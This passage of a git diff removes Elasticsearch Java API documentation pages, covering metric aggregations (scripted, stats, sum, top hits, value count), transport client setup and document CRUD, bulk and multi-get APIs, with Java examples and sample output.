-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-ScriptedMetricAggregationBuilder aggregation = AggregationBuilders
-    .scriptedMetric("agg")
-    .initScript(new Script("state.heights = []"))
-    .mapScript(new Script("state.heights.add(doc.gender.value == 'male' ? doc.height.value : -1.0 * doc.height.value)"));
---------------------------------------------------
-
-You can also specify a `combine` script which will be executed on each shard:
-
-[source,java]
---------------------------------------------------
-ScriptedMetricAggregationBuilder aggregation = AggregationBuilders
-    .scriptedMetric("agg")
-    .initScript(new Script("state.heights = []"))
-    .mapScript(new Script("state.heights.add(doc.gender.value == 'male' ? doc.height.value : -1.0 * doc.height.value)"))
-    .combineScript(new Script("double heights_sum = 0.0; for (t in state.heights) { heights_sum += t } return heights_sum"));
---------------------------------------------------
-
-You can also specify a `reduce` script which will be executed on the node which gets the request:
-
-[source,java]
---------------------------------------------------
-ScriptedMetricAggregationBuilder aggregation = AggregationBuilders
-    .scriptedMetric("agg")
-    .initScript(new Script("state.heights = []"))
-    .mapScript(new Script("state.heights.add(doc.gender.value == 'male' ? doc.height.value : -1.0 * doc.height.value)"))
-    .combineScript(new Script("double heights_sum = 0.0; for (t in state.heights) { heights_sum += t } return heights_sum"))
-    .reduceScript(new Script("double heights_sum = 0.0; for (a in states) { heights_sum += a } return heights_sum"));
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.terms.Terms;
-import org.elasticsearch.search.aggregations.metrics.tophits.TopHits;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-ScriptedMetric agg = sr.getAggregations().get("agg");
-Object scriptedResult = agg.aggregation();
-logger.info("scriptedResult [{}]", scriptedResult);
---------------------------------------------------
-
-Note that the result depends on the script you built.
-For the first example, this will basically produce:
-
-[source,text]
---------------------------------------------------
-scriptedResult object [ArrayList]
-scriptedResult [ {
-"heights" : [ 1.122218480146643, -1.8148918111233887, -1.7626731575142909, ... ]
-}, {
-"heights" : [ -0.8046067304119863, -2.0785486707864553, -1.9183567430207953, ... ]
-}, {
-"heights" : [ 2.092635728868694, 1.5697545960886536, 1.8826954461968808, ... ]
-}, {
-"heights" : [ -2.1863201099468403, 1.6328549117346856, -1.7078288405893842, ... ]
-}, {
-"heights" : [ 1.6043904836424177, -2.0736538674414025, 0.9898266674373053, ... ]
-} ]
---------------------------------------------------
-
-The second example will produce:
-
-[source,text]
---------------------------------------------------
-scriptedResult object [ArrayList]
-scriptedResult [-41.279615707402876,
-                -60.88007362339038,
-                38.823270659734256,
-                14.840192739445632,
-                11.300902755741326]
---------------------------------------------------
-
-The last example will produce:
-
-[source,text]
---------------------------------------------------
-scriptedResult object [Double]
-scriptedResult [2.171917696507009]
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/stats-aggregation.asciidoc b/docs/java-api/aggregations/metrics/stats-aggregation.asciidoc
deleted file mode 100644
index 260d9c01cb9..00000000000
--- a/docs/java-api/aggregations/metrics/stats-aggregation.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[[java-aggs-metrics-stats]]
-==== Stats Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-stats-aggregation.html[Stats Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-StatsAggregationBuilder aggregation =
-        AggregationBuilders
-                .stats("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.stats.Stats;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Stats agg = sr.getAggregations().get("agg");
-double min = agg.getMin();
-double max = agg.getMax();
-double avg = agg.getAvg();
-double sum = agg.getSum();
-long count = agg.getCount();
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/sum-aggregation.asciidoc b/docs/java-api/aggregations/metrics/sum-aggregation.asciidoc
deleted file mode 100644
index 453616916d7..00000000000
--- a/docs/java-api/aggregations/metrics/sum-aggregation.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[java-aggs-metrics-sum]]
-==== Sum Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-sum-aggregation.html[Sum Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-SumAggregationBuilder aggregation =
-        AggregationBuilders
-                .sum("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.sum.Sum;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Sum agg = sr.getAggregations().get("agg");
-double value = agg.getValue();
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/tophits-aggregation.asciidoc b/docs/java-api/aggregations/metrics/tophits-aggregation.asciidoc
deleted file mode 100644
index 2473b4b89d7..00000000000
--- a/docs/java-api/aggregations/metrics/tophits-aggregation.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[[java-aggs-metrics-tophits]]
-==== Top Hits Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-top-hits-aggregation.html[Top Hits Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-    AggregationBuilders
-        .terms("agg").field("gender")
-        .subAggregation(
-            AggregationBuilders.topHits("top")
-        );
---------------------------------------------------
-
-You can use most of the options available for standard search such as `from`, `size`, `sort`, `highlight`, `explain`...
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-    AggregationBuilders
-        .terms("agg").field("gender")
-        .subAggregation(
-            AggregationBuilders.topHits("top")
-                .explain(true)
-                .size(1)
-                .from(10)
-        );
---------------------------------------------------
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.terms.Terms;
-import org.elasticsearch.search.aggregations.metrics.tophits.TopHits;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Terms agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Terms.Bucket entry : agg.getBuckets()) {
-    String key = entry.getKey();                    // bucket key
-    long docCount = entry.getDocCount();            // Doc count
-    logger.info("key [{}], doc_count [{}]", key, docCount);
-
-    // We ask for top_hits for each bucket
-    TopHits topHits = entry.getAggregations().get("top");
-    for (SearchHit hit : topHits.getHits().getHits()) {
-        logger.info(" -> id [{}], _source [{}]", hit.getId(), hit.getSourceAsString());
-    }
-}
---------------------------------------------------
-
-This will basically produce for the first example:
-
-[source,text]
---------------------------------------------------
-key [male], doc_count [5107]
- -> id [AUnzSZze9k7PKXtq04x2], _source [{"gender":"male",...}]
- -> id [AUnzSZzj9k7PKXtq04x4], _source [{"gender":"male",...}]
- -> id [AUnzSZzl9k7PKXtq04x5], _source [{"gender":"male",...}]
-key [female], doc_count [4893]
- -> id [AUnzSZzM9k7PKXtq04xy], _source [{"gender":"female",...}]
- -> id [AUnzSZzp9k7PKXtq04x8], _source [{"gender":"female",...}]
- -> id [AUnzSZ0W9k7PKXtq04yS], _source [{"gender":"female",...}]
---------------------------------------------------
diff --git a/docs/java-api/aggregations/metrics/valuecount-aggregation.asciidoc b/docs/java-api/aggregations/metrics/valuecount-aggregation.asciidoc
deleted file mode 100644
index b180d22af33..00000000000
--- a/docs/java-api/aggregations/metrics/valuecount-aggregation.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[java-aggs-metrics-valuecount]]
-==== Value Count Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-valuecount-aggregation.html[Value Count Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-ValueCountAggregationBuilder aggregation =
-        AggregationBuilders
-                .count("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.valuecount.ValueCount;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-ValueCount agg = sr.getAggregations().get("agg");
-long value = agg.getValue();
---------------------------------------------------
-
diff --git a/docs/java-api/aggs.asciidoc b/docs/java-api/aggs.asciidoc
deleted file mode 100644
index c2e09b4901e..00000000000
--- a/docs/java-api/aggs.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[[java-aggs]]
-== Aggregations
-
-Elasticsearch provides a full Java API to play with aggregations. See the
-{ref}/search-aggregations.html[Aggregations guide].
-
-Use the factory for aggregation builders (`AggregationBuilders`) and add each aggregation
-you want to compute when querying and add it to your search request:
-
-[source,java]
---------------------------------------------------
-SearchResponse sr = node.client().prepareSearch()
-        .setQuery( /* your query */ )
-        .addAggregation( /* add an aggregation */ )
-        .execute().actionGet();
---------------------------------------------------
-
-Note that you can add more than one aggregation. See
-{ref}/search-search.html[Search Java API] for details.
-
-To build aggregation requests, use `AggregationBuilders` helpers. Just import them
-in your class:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.AggregationBuilders;
---------------------------------------------------
-
-=== Structuring aggregations
-
-As explained in the
-{ref}/search-aggregations.html[Aggregations guide], you can define
-sub aggregations inside an aggregation.
-
-An aggregation could be a metrics aggregation or a bucket aggregation.
-
-For example, here is a 3 levels aggregation composed of:
-
-* Terms aggregation (bucket)
-* Date Histogram aggregation (bucket)
-* Average aggregation (metric)
-
-[source,java]
---------------------------------------------------
-SearchResponse sr = node.client().prepareSearch()
-    .addAggregation(
-        AggregationBuilders.terms("by_country").field("country")
-        .subAggregation(AggregationBuilders.dateHistogram("by_year")
-            .field("dateOfBirth")
-            .calendarInterval(DateHistogramInterval.YEAR)
-            .subAggregation(AggregationBuilders.avg("avg_children").field("children"))
-        )
-    )
-    .execute().actionGet();
---------------------------------------------------
-
-=== Metrics aggregations
-
-include::aggregations/metrics.asciidoc[]
-
-=== Bucket aggregations
-
-include::aggregations/bucket.asciidoc[]
diff --git a/docs/java-api/client.asciidoc b/docs/java-api/client.asciidoc
deleted file mode 100644
index 811d7c398d9..00000000000
--- a/docs/java-api/client.asciidoc
+++ /dev/null
@@ -1,110 +0,0 @@
-[[client]]
-== Client
-
-You can use the *Java client* in multiple ways:
-
-* Perform standard <<java-docs-index,index>>, <<java-docs-get,get>>,
-  <<java-docs-delete,delete>> and <<java-search,search>> operations on an
-  existing cluster
-* Perform administrative tasks on a running cluster
-
-Obtaining an Elasticsearch `Client` is simple. The most common way to
-get a client is by creating a <<transport-client,`TransportClient`>>
-that connects to a cluster.
-
-[IMPORTANT]
-==============================
-
-The client must have the same major version (e.g. `2.x`, or `5.x`) as the
-nodes in the cluster. Clients may connect to clusters which have a different
-minor version (e.g. `2.3.x`) but it is possible that new functionality may not
-be supported.  Ideally, the client should have the same version as the
-cluster.
-
-==============================
-
-[[transport-client]]
-=== Transport Client
-
-deprecated[7.0.0, The `TransportClient` is deprecated in favour of the {java-rest}/java-rest-high.html[Java High Level REST Client] and will be removed in Elasticsearch 8.0. The {java-rest}/java-rest-high-level-migration.html[migration guide] describes all the steps needed to migrate.]
-
-The `TransportClient` connects remotely to an Elasticsearch cluster
-using the transport module. It does not join the cluster, but simply
-gets one or more initial transport addresses and communicates with them
-in round robin fashion on each action (though most actions will probably
-be "two hop" operations).
-
-[source,java]
---------------------------------------------------
-// on startup
-
-TransportClient client = new PreBuiltTransportClient(Settings.EMPTY)
-        .addTransportAddress(new TransportAddress(InetAddress.getByName("host1"), 9300))
-        .addTransportAddress(new TransportAddress(InetAddress.getByName("host2"), 9300));
-
-// on shutdown
-
-client.close();
---------------------------------------------------
-
-Note that you have to set the cluster name if you use one different than
-"elasticsearch":
-
-[source,java]
---------------------------------------------------
-Settings settings = Settings.builder()
-        .put("cluster.name", "myClusterName").build();
-TransportClient client = new PreBuiltTransportClient(settings);
-//Add transport addresses and do something with the client...
---------------------------------------------------
-
-The Transport client comes with a cluster sniffing feature which
-allows it to dynamically add new hosts and remove old ones.
-When sniffing is enabled, the transport client will connect to the nodes in its
-internal node list, which is built via calls to `addTransportAddress`.
-After this, the client will call the internal cluster state API on those nodes
-to discover available data nodes. The internal node list of the client will
-be replaced with those data nodes only. This list is refreshed every five seconds by default.
-Note that the IP addresses the sniffer connects to are the ones declared as the 'publish'
-address in those node's Elasticsearch config.
-
-Keep in mind that the list might possibly not include the original node it connected to
-if that node is not a data node. If, for instance, you initially connect to a
-master node, after sniffing, no further requests will go to that master node,
-but rather to any data nodes instead. The reason the transport client excludes non-data
-nodes is to avoid sending search traffic to master only nodes.
-
-In order to enable sniffing, set `client.transport.sniff` to `true`:
-
-[source,java]
---------------------------------------------------
-Settings settings = Settings.builder()
-        .put("client.transport.sniff", true).build();
-TransportClient client = new PreBuiltTransportClient(settings);
---------------------------------------------------
-
-Other transport client level settings include:
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Parameter |Description
-|`client.transport.ignore_cluster_name` |Set to `true` to ignore cluster
-name validation of connected nodes. (since 0.19.4)
-
-|`client.transport.ping_timeout` |The time to wait for a ping response
-from a node. Defaults to `5s`.
-
-|`client.transport.nodes_sampler_interval` |How often to sample / ping
-the nodes listed and connected. Defaults to `5s`.
-|=======================================================================
-
-
-[[client-connected-to-client-node]]
-=== Connecting a Client to a Coordinating Only Node
-
-You can start locally a {ref}/modules-node.html#coordinating-only-node[Coordinating Only Node]
-and then simply create a <<transport-client,`TransportClient`>> in your
-application which connects to this Coordinating Only Node.
-
-This way, the coordinating only node will be able to load whatever plugin you
-need (think about discovery plugins for example).
diff --git a/docs/java-api/docs.asciidoc b/docs/java-api/docs.asciidoc
deleted file mode 100644
index 181c5d8e0bd..00000000000
--- a/docs/java-api/docs.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[[java-docs]]
-== Document APIs
-
-This section describes the following CRUD APIs:
-
-.Single document APIs
-* <<java-docs-index>>
-* <<java-docs-get>>
-* <<java-docs-delete>>
-* <<java-docs-update>>
-
-.Multi-document APIs
-* <<java-docs-multi-get>>
-* <<java-docs-bulk>>
-* <<java-docs-reindex>>
-* <<java-docs-update-by-query>>
-* <<java-docs-delete-by-query>>
-
-NOTE: All CRUD APIs are single-index APIs. The `index` parameter accepts a single
-index name, or an `alias` which points to a single index.
-
-include::docs/index_.asciidoc[]
-
-include::docs/get.asciidoc[]
-
-include::docs/delete.asciidoc[]
-
-include::docs/update.asciidoc[]
-
-include::docs/multi-get.asciidoc[]
-
-include::docs/bulk.asciidoc[]
-
-include::docs/update-by-query.asciidoc[]
-
-include::docs/reindex.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-api/docs/bulk.asciidoc b/docs/java-api/docs/bulk.asciidoc
deleted file mode 100644
index 9976ba52544..00000000000
--- a/docs/java-api/docs/bulk.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[java-docs-bulk]]
-=== Bulk API
-
-The bulk API allows one to index and delete several documents in a
-single request. Here is a sample usage:
-
-[source,java]
---------------------------------------------------
-import static org.elasticsearch.common.xcontent.XContentFactory.*;
-
-BulkRequestBuilder bulkRequest = client.prepareBulk();
-
-// either use client#prepare, or use Requests# to directly build index/delete requests
-bulkRequest.add(client.prepareIndex("twitter", "_doc", "1")
-        .setSource(jsonBuilder()
-                    .startObject()
-                        .field("user", "kimchy")
-                        .field("postDate", new Date())
-                        .field("message", "trying out Elasticsearch")
-                    .endObject()
-                  )
-        );
-
-bulkRequest.add(client.prepareIndex("twitter", "_doc", "2")
-        .setSource(jsonBuilder()
-                    .startObject()
-                        .field("user", "kimchy")
-                        .field("postDate", new Date())
-                        .field("message", "another post")
-                    .endObject()
-                  )
-        );
-        
-BulkResponse bulkResponse = bulkRequest.get();
-if (bulkResponse.hasFailures()) {
-    // process failures by iterating through each bulk response item
-}
---------------------------------------------------
-
-[[java-docs-bulk-processor]]
-=== Using Bulk Processor
-
-The `BulkProcessor` class offers a simple interface to flush bulk operations automatically based on the number or size
-of requests, or after a given period.
-
-To use it, first create a `BulkProcessor` instance:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.action.bulk.BackoffPolicy;
-import org.elasticsearch.action.bulk.BulkProcessor;
-import org.elasticsearch.common.unit.ByteSizeUnit;
-import org.elasticsearch.common.unit.ByteSizeValue;
-import org.elasticsearch.common.unit.TimeValue;
-
-BulkProcessor bulkProcessor = BulkProcessor.builder(
-        client,  <1>
-        new BulkProcessor.Listener() {
-            @Override
-            public void beforeBulk(long executionId,
-                                   BulkRequest request) { ... } <2>
-
-            @Override
-            public void afterBulk(long executionId,
-                                  BulkRequest request,
-                                  BulkResponse response) { ... } <3>
-
-            @Override
-            public void afterBulk(long executionId,
-                                  BulkRequest request,
-                                  Throwable failure) { ... } <4>
-        })
-        .setBulkActions(10000) <5>
-        .setBulkSize(new ByteSizeValue(5, ByteSizeUnit.MB)) <6>
-        .setFlushInterval(TimeValue.timeValueSeconds(5)) <7>
-        .setConcurrentRequests(1) <8>
-        .setBackoffPolicy(
-            BackoffPolicy.exponentialBackoff(TimeValue.timeValueMillis(100), 3)) <9>
-        .build();
---------------------------------------------------
-<1> Add your Elasticsearch client
-<2> This method is called just before bulk is executed. You can for example see the numberOfActions with
-    `request.numberOfActions()`
-<3> This method is called after bulk execution. You can for example check if there was some failing requests
-    with `response.hasFailures()`
-<4> This method is called when the bulk failed and raised a `Throwable`
-<5> We want to execute the bulk every 10 000 requests
-<6> We want to flush the bulk every 5mb
-<7> We want to flush the bulk every 5 seconds whatever the number of requests
-<8> Set the number of concurrent requests. A value of 0 means that only a single request will be allowed to be
-    executed. A value of 1 means 1 concurrent request is allowed to be executed while accumulating new bulk requests.
-<9> Set a custom backoff policy which will initially wait for 100ms, increase exponentially and retries up to three
-    times. A retry is attempted whenever one or more bulk item requests have failed with an `EsRejectedExecutionException`
-    which indicates that there were too little compute resources available for processing the request. To disable backoff,
-    pass `BackoffPolicy.noBackoff()`.
-
-By default, `BulkProcessor`:
-
-* sets bulkActions to `1000`
-* sets bulkSize to `5mb`
-* does not set flushInterval
-* sets concurrentRequests to 1, which means an asynchronous execution of the flush operation.
-* sets backoffPolicy to an exponential backoff with 8 retries and a start delay of 50ms. The total wait time is roughly 5.1 seconds.
-
-[[java-docs-bulk-processor-requests]]
-==== Add requests
-
-Then you can simply add your requests to the `BulkProcessor`:
-
-[source,java]
---------------------------------------------------
-bulkProcessor.add(new IndexRequest("twitter", "_doc", "1").source(/* your doc here */));
-bulkProcessor.add(new DeleteRequest("twitter", "_doc", "2"));
---------------------------------------------------
-
-[[java-docs-bulk-processor-close]]
-==== Closing the Bulk Processor
-
-When all documents are loaded to the `BulkProcessor` it can be closed by using `awaitClose` or `close` methods:
-
-[source,java]
---------------------------------------------------
-bulkProcessor.awaitClose(10, TimeUnit.MINUTES);
---------------------------------------------------
-
-or
-
-[source,java]
---------------------------------------------------
-bulkProcessor.close();
---------------------------------------------------
-
-Both methods flush any remaining documents and disable all other scheduled flushes, if they were scheduled by setting
-`flushInterval`. If concurrent requests were enabled, the `awaitClose` method waits for up to the specified timeout for
-all bulk requests to complete then returns `true`; if the specified waiting time elapses before all bulk requests complete,
-`false` is returned. The `close` method doesn't wait for any remaining bulk requests to complete and exits immediately.
-
-[[java-docs-bulk-processor-tests]]
-==== Using Bulk Processor in tests
-
-If you are running tests with Elasticsearch and are using the `BulkProcessor` to populate your dataset
-you should better set the number of concurrent requests to `0` so the flush operation of the bulk will be executed
-in a synchronous manner:
-
-[source,java]
---------------------------------------------------
-BulkProcessor bulkProcessor = BulkProcessor.builder(client, new BulkProcessor.Listener() { /* Listener methods */ })
-        .setBulkActions(10000)
-        .setConcurrentRequests(0)
-        .build();
-
-// Add your requests
-bulkProcessor.add(/* Your requests */);
-
-// Flush any remaining requests
-bulkProcessor.flush();
-
-// Or close the bulkProcessor if you don't need it anymore
-bulkProcessor.close();
-
-// Refresh your indices
-client.admin().indices().prepareRefresh().get();
-
-// Now you can start searching!
-client.prepareSearch().get();
---------------------------------------------------
-
-
-[[java-docs-bulk-global-parameters]]
-==== Global Parameters
-
-Global parameters can be specified on the BulkRequest as well as BulkProcessor, similar to the REST API. These global
- parameters serve as defaults and can be overridden by local parameters specified on each sub request. Some parameters
- have to be set before any sub request is added - index, type - and you have to specify them during  BulkRequest or
- BulkProcessor creation. Some are optional - pipeline, routing - and can be specified at any point before the bulk is sent.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{hlrc-tests}/BulkProcessorIT.java[bulk-processor-mix-parameters]
---------------------------------------------------
-<1> global parameters from the BulkRequest will be applied on a sub request
-<2> local pipeline parameter on a sub request will override global parameters from BulkRequest
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{hlrc-tests}/BulkRequestWithGlobalParametersIT.java[bulk-request-mix-pipeline]
---------------------------------------------------
-<1> local pipeline parameter on a sub request will override global pipeline from the BulkRequest
-<2> global parameter from the BulkRequest will be applied on a sub request
diff --git a/docs/java-api/docs/delete.asciidoc b/docs/java-api/docs/delete.asciidoc
deleted file mode 100644
index 004edc84b3d..00000000000
--- a/docs/java-api/docs/delete.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[java-docs-delete]]
-=== Delete API
-
-The delete API allows one to delete a typed JSON document from a specific
-index based on its id. The following example deletes the JSON document
-from an index called twitter, under a type called `_doc`, with id valued
-1:
-
-[source,java]
---------------------------------------------------
-DeleteResponse response = client.prepareDelete("twitter", "_doc", "1").get();
---------------------------------------------------
-
-For more information on the delete operation, check out the
-{ref}/docs-delete.html[delete API] docs.
-
-[[java-docs-delete-by-query]]
-=== Delete By Query API
-
-The delete by query API allows one to delete a given set of documents based on
-the result of a query:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[delete-by-query-sync]
---------------------------------------------------
-<1> query
-<2> index
-<3> execute the operation
-<4> number of deleted documents
-
-As it can be a long running operation, if you wish to do it asynchronously, you can call `execute` instead of `get`
-and provide a listener like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[delete-by-query-async]
---------------------------------------------------
-<1> query
-<2> index
-<3> listener
-<4> number of deleted documents
diff --git a/docs/java-api/docs/get.asciidoc b/docs/java-api/docs/get.asciidoc
deleted file mode 100644
index 03c642cbac8..00000000000
--- a/docs/java-api/docs/get.asciidoc
+++ /dev/null
@@ -1,14 +0,0 @@
-[[java-docs-get]]
-=== Get API
-
-The get API allows to get a typed JSON document from the index based on
-its id. The following example gets a JSON document from an index called
-twitter, under a type called `_doc`, with id valued 1:
-
-[source,java]
---------------------------------------------------
-GetResponse response = client.prepareGet("twitter", "_doc", "1").get();
---------------------------------------------------
-
-For more information on the get operation, check out the REST
-{ref}/docs-get.html[get] docs.
diff --git a/docs/java-api/docs/index_.asciidoc b/docs/java-api/docs/index_.asciidoc
deleted file mode 100644
index 694a29beba0..00000000000
--- a/docs/java-api/docs/index_.asciidoc
+++ /dev/null
@@ -1,167 +0,0 @@
-[[java-docs-index]]
-=== Index API
-
-The index API allows one to index a typed JSON document into a specific
-index and make it searchable.
-
-
-[[java-docs-index-generate]]
-==== Generate JSON document
-
-There are several different ways of generating a JSON document:
-
-* Manually (aka do it yourself) using native `byte[]` or as a `String`
-
-* Using a `Map` that will be automatically converted to its JSON
-equivalent
-
-* Using a third party library to serialize your beans such as
-https://github.com/FasterXML/jackson[Jackson]
-
-* Using built-in helpers XContentFactory.jsonBuilder()
-
-Internally, each type is converted to `byte[]` (so a String is converted
-to a `byte[]`). Therefore, if the object is in this form already, then
-use it. The `jsonBuilder` is highly optimized JSON generator that
-directly constructs a `byte[]`.
-
-
-[[java-docs-index-generate-diy]]
-===== Do It Yourself
-
-Nothing really difficult here but note that you will have to encode
-dates according to the
-{ref}/mapping-date-format.html[Date Format].
-
-[source,java]
---------------------------------------------------
-String json = "{" +
-        "\"user\":\"kimchy\"," +
-        "\"postDate\":\"2013-01-30\"," +
-        "\"message\":\"trying out Elasticsearch\"" +
-    "}";
---------------------------------------------------
-
-
-[[java-docs-index-generate-using-map]]
-===== Using Map
-
-Map is a key:values pair collection. It represents a JSON structure:
-
-[source,java]
---------------------------------------------------
-Map<String, Object> json = new HashMap<String, Object>();
-json.put("user","kimchy");
-json.put("postDate",new Date());
-json.put("message","trying out Elasticsearch");
---------------------------------------------------
-
-
-[[java-docs-index-generate-beans]]
-===== Serialize your beans
-
-You can use https://github.com/FasterXML/jackson[Jackson] to serialize
-your beans to JSON. Please add http://search.maven.org/#search%7Cga%7C1%7Cjackson-databind[Jackson Databind]
- to your project. Then you can use `ObjectMapper` to serialize your beans:
-
-[source,java]
---------------------------------------------------
-import com.fasterxml.jackson.databind.*;
-
-// instance a json mapper
-ObjectMapper mapper = new ObjectMapper(); // create once, reuse
-
-// generate json
-byte[] json = mapper.writeValueAsBytes(yourbeaninstance);
---------------------------------------------------
-
-
-[[java-docs-index-generate-helpers]]
-===== Use Elasticsearch helpers
-
-Elasticsearch provides built-in helpers to generate JSON content.
-
-[source,java]
---------------------------------------------------
-import static org.elasticsearch.common.xcontent.XContentFactory.*;
-
-XContentBuilder builder = jsonBuilder()
-    .startObject()
-        .field("user", "kimchy")
-        .field("postDate", new Date())
-        .field("message", "trying out Elasticsearch")
-    .endObject()
---------------------------------------------------
-
-Note that you can also add arrays with `startArray(String)` and
-`endArray()` methods. By the way, the `field` method +
- accepts many object types. You can directly pass numbers, dates and even
-other XContentBuilder objects.
-
-If you need to see the generated JSON content, you can use the
-`Strings.toString()` method.
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.common.Strings;
-
-String json = Strings.toString(builder);
---------------------------------------------------
-
-
-[[java-docs-index-doc]]
-==== Index document
-
-The following example indexes a JSON document into an index called
-twitter, under a type called `_doc`, with id valued 1:
-
-[source,java]
---------------------------------------------------
-import static org.elasticsearch.common.xcontent.XContentFactory.*;
-
-IndexResponse response = client.prepareIndex("twitter", "_doc", "1")
-        .setSource(jsonBuilder()
-                    .startObject()
-                        .field("user", "kimchy")
-                        .field("postDate", new Date())
-                        .field("message", "trying out Elasticsearch")
-                    .endObject()
-                  )
-        .get();
---------------------------------------------------
-
-Note that you can also index your documents as JSON String and that you
-don't have to give an ID:
-
-[source,java]
---------------------------------------------------
-String json = "{" +
-        "\"user\":\"kimchy\"," +
-        "\"postDate\":\"2013-01-30\"," +
-        "\"message\":\"trying out Elasticsearch\"" +
-    "}";
-
-IndexResponse response = client.prepareIndex("twitter", "_doc")
-        .setSource(json, XContentType.JSON)
-        .get();
---------------------------------------------------
-
-`IndexResponse` object will give you a report:
-
-[source,java]
---------------------------------------------------
-// Index name
-String _index = response.getIndex();
-// Type name
-String _type = response.getType();
-// Document ID (generated or not)
-String _id = response.getId();
-// Version (if it's the first time you index this document, you will get: 1)
-long _version = response.getVersion();
-// status has stored current instance statement.
-RestStatus status = response.status();
---------------------------------------------------
-
-For more information on the index operation, check out the REST
-{ref}/docs-index_.html[index] docs.
-
diff --git a/docs/java-api/docs/multi-get.asciidoc b/docs/java-api/docs/multi-get.asciidoc
deleted file mode 100644
index 8ed2bede292..00000000000
--- a/docs/java-api/docs/multi-get.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[java-docs-multi-get]]
-=== Multi Get API
-
-The multi get API allows to get a list of documents based on their `index` and `id`:
-
-[source,java]
---------------------------------------------------
-MultiGetResponse multiGetItemResponses = client.prepareMultiGet()
-    .add("twitter", "_doc", "1")            <1>
-    .add("twitter", "_doc", "2", "3", "4")  <2>
-    .add("another", "_doc", "foo")          <3>
-    .get();
-
-for (MultiGetItemResponse itemResponse : multiGetItemResponses) { <4>
-    GetResponse response = itemResponse.getResponse();
-    if (response.isExists()) {                      <5>
-        String json = response.getSourceAsString(); <6>
-    }
-}
---------------------------------------------------
-<1> get by a single id
-<2> or by a list of ids for the same index
-<3> you can also get from another index
-<4> iterate over the result set
-<5> you can check if the document exists
-<6> access to the `_source` field
-
-For more information on the multi get operation, check out the REST
-{ref}/docs-multi-get.html[multi get] docs.
-
diff --git a/docs/java-api/docs/reindex.asciidoc b/docs/java-api/docs/reindex.asciidoc
deleted file mode 100644
index 842e763f74d..00000000000
--- a/docs/java-api/docs/reindex.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-docs-reindex]]
-=== Reindex API
-
-See {ref}/docs-reindex.html[reindex API].
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[reindex1]
---------------------------------------------------
-<1> Optionally a query can provided to filter what documents should be
-    re-indexed from the source to the target index.
diff --git a/docs/java-api/docs/update-by-query.asciidoc b/docs/java-api/docs/update-by-query.asciidoc
deleted file mode 100644
index 5a272b8c23c..00000000000
--- a/docs/java-api/docs/update-by-query.asciidoc
+++ /dev/null
@@ -1,166 +0,0 @@
-[[java-docs-update-by-query]]
-=== Update By Query API
-
-The simplest usage of `updateByQuery` updates each
-document in an index without changing the source. This usage enables
-picking up a new property or another online mapping change.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-reindex-tests}/ReindexDocumentationIT.java[update-by-query]
---------------------------------------------------
